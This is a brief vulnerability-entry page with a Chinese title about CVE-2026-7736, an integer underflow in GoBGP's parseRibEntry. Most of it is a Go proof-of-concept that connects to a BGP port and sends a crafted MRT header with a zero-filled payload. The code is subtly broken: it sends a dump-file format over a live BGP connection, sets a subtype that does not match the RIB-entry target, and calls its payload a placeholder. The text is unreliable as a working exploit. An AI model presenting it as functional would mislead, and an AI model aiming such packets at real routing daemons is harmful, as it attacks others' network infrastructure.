CVE-2026-7736 osrg GoBGP 整数下溢漏洞

package main import ( "bytes" "encoding/binary" "net" ) // Proof of Concept for CVE-2026-7736 // This PoC demonstrates how to craft a malformed MRT packet // that triggers the integer underflow in parseRibEntry. func main() { target := "127.0.0.1:179" conn, err := net.Dial("tcp", target) if err != nil { panic(err) } defer conn.Close() // Constructing a minimal MRT header buf := new(bytes.Buffer) // MRT Header (Timestamp: 0, Type: 13, Subtype: 1, Length: Malicious) // Assuming Type 13 is TABLE_DUMPv2 and Subtype 1 is PEER_INDEX_TABLE // The vulnerability lies in parsing RIB entries, so we target that. binary.Write(buf, binary.BigEndian, uint32(0)) // Timestamp binary.Write(buf, binary.BigEndian, uint16(13)) // Type binary.Write(buf, binary.BigEndian, uint16(1)) // Subtype binary.Write(buf, binary.BigEndian, uint32(1024)) // Length // Payload placeholder: In a real exploit, this payload would contain // specific TLV structures designed to trigger the underflow in // parseRibEntry by supplying a length smaller than expected. payload := make([]byte, 1024) buf.Write(payload) // Send malicious packet _, err = conn.Write(buf.Bytes()) if err != nil { panic(err) } }